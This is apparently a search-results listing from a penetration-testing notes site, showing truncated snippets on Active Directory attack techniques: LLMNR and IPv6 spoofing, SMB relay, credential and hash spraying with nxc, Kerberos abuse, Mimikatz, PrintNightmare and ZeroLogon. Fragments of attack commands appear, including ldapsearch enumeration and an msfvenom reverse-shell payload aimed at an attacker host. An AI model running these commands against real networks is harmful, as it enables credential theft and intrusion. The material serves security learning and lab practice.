Search Results

Note: Network Environment Given that LLMNR is a name resolution protocol that works on the Local Area Network (LAN), this attack method cannot be performed from a different subnet. The attacker would have to compromise a host on the LAN and upload tools, or p...

Note: Network Environment This attack works best in a flat network. However, as long as the attacker machine and target(s) are routeable and no firewalls are blocking required ports, it could work across network segments. What is SMB Relay? A man-in-the-mid...

Note: Network Environment This spoofing attack works by sending a router announcement to multicast ff02::1. Therefore, it will only affect domain-joined hosts on the same segment as the attacker machine. What is IPv6 DNS Spoofing? An attacker announces ...

What's the Flaw? Usually involves an unsecure device -- like a printer or multifunction device -- which is configured with an LDAP or SMTP client and credentials. It could be a web server too -- where there is an LDAP or SMTP client. The credentials are usual...

Overview A set of PowerShell functions that can be used to enumerate ActiveDirectory. Part of the larger PowerSploit Framework   Usage Transfer PowerView.ps1 to the compromised target. Requires a PowerShell session. Then, source the file into the current s...

Install and Initial Setup Kali Linux When changing the neo4j user password at initial setup, I was experiencing authentication errors when the password contained specific special characters. So, if the password in  /etc/bhapi/bhapi.json is correct, but you ex...

Linux LdapSearch ldapsearch -x -H ldap://DC01.ad.lab -D 'john.doe@ad.lab' -W -b 'DC=ad,DC=lab' '(objectClass=user)' > ldap_users.txt List users ldapsearch -x -H ldap://DC01.ad.lab -D 'john.doe@ad.lab' -W -b 'DC=ad,DC=lab' '(objectClass=group)' > ldap_group...

Overview Cracked a hash or discovered a password for a domain user. Use the password and nxc to pass it around the network and see if we can log into any other target(s) with that credential NetExec nxc smb <target-or-CIDR> -d 'domain.tld' -u username -p ...

Overview Dumped the SAM or LSA and now have hashes for domain or a local users. Use the hash and nxc to pass it around the network and see if we can log into any other target(s) with that credential Anatomy of a Windows Hash username:SID:LM_HASH:NT_HASH:: ...

Overview Tokens are temporary keys that allow a user to perform actions on a system or network without having to provide a password; similar to session cookies on a web site. The tokens are generated once a user logs onto a system or RDP session. They remain ...

Overview The attacker uses a known username and password of a user on a domain. A typical Kerberos workflow is: Once a user logs into a domain-joined system, they get a TGT (ticket-granting ticket). Then, they'll use that TGT to request a TGS (ticket-gra...

Overview GPP allows admins to create policies with embedded credentials. The credentials are encrypted and stored in a cPassword. The key was accidentally released. What's the Flaw? The MS14-025 patch does not apply to GPP passwords embedded prior to the ...

Local Privilege Escalation https://github.com/calebstewart/CVE-2021-1675

Remote Code Execution https://github.com/cube0x0/CVE-2021-1675 Contains full details on scanning and mitigation. Could potentially be used against a domain controller for easy access to a reverse shell. Create Payload msfvenom -p <payload> LHOST=<kali-ip> LPO...

Overview https://github.com/gentilkiwi/mimikatz There are various spin-offs of the Mimikatz project, including a PowerShell variety. Mimkatz is primarily used to dump hashes from  LSASS, pass hashes, or generating Kerberos tickets for use in attacks.     ...

Caution This can potentially break a domain controller, due the fact that this attack temporarily removes the password from a domain controller. After testing this attack, the original password should be restored. ZeroLogon Checker https://github.com/Secu...

Example from Vulnhub https://www.vulnhub.com/entry/prime-1,358/ In this challenge, a script outputs an AES-256 encrypted file and a hint in key.txt The hint says to hash the word "ippsec" with the MD5 algorithm This is the key to decrypt the hash Hash Base 6...

Understanding Hydra Help Viewing Hydra Modules Print the hydra help output hydra -h Notice the Supported services section. These are the modules that the hydra binary installed on your system can use. Supported services: adam6500 asterisk cisco cisco-enab...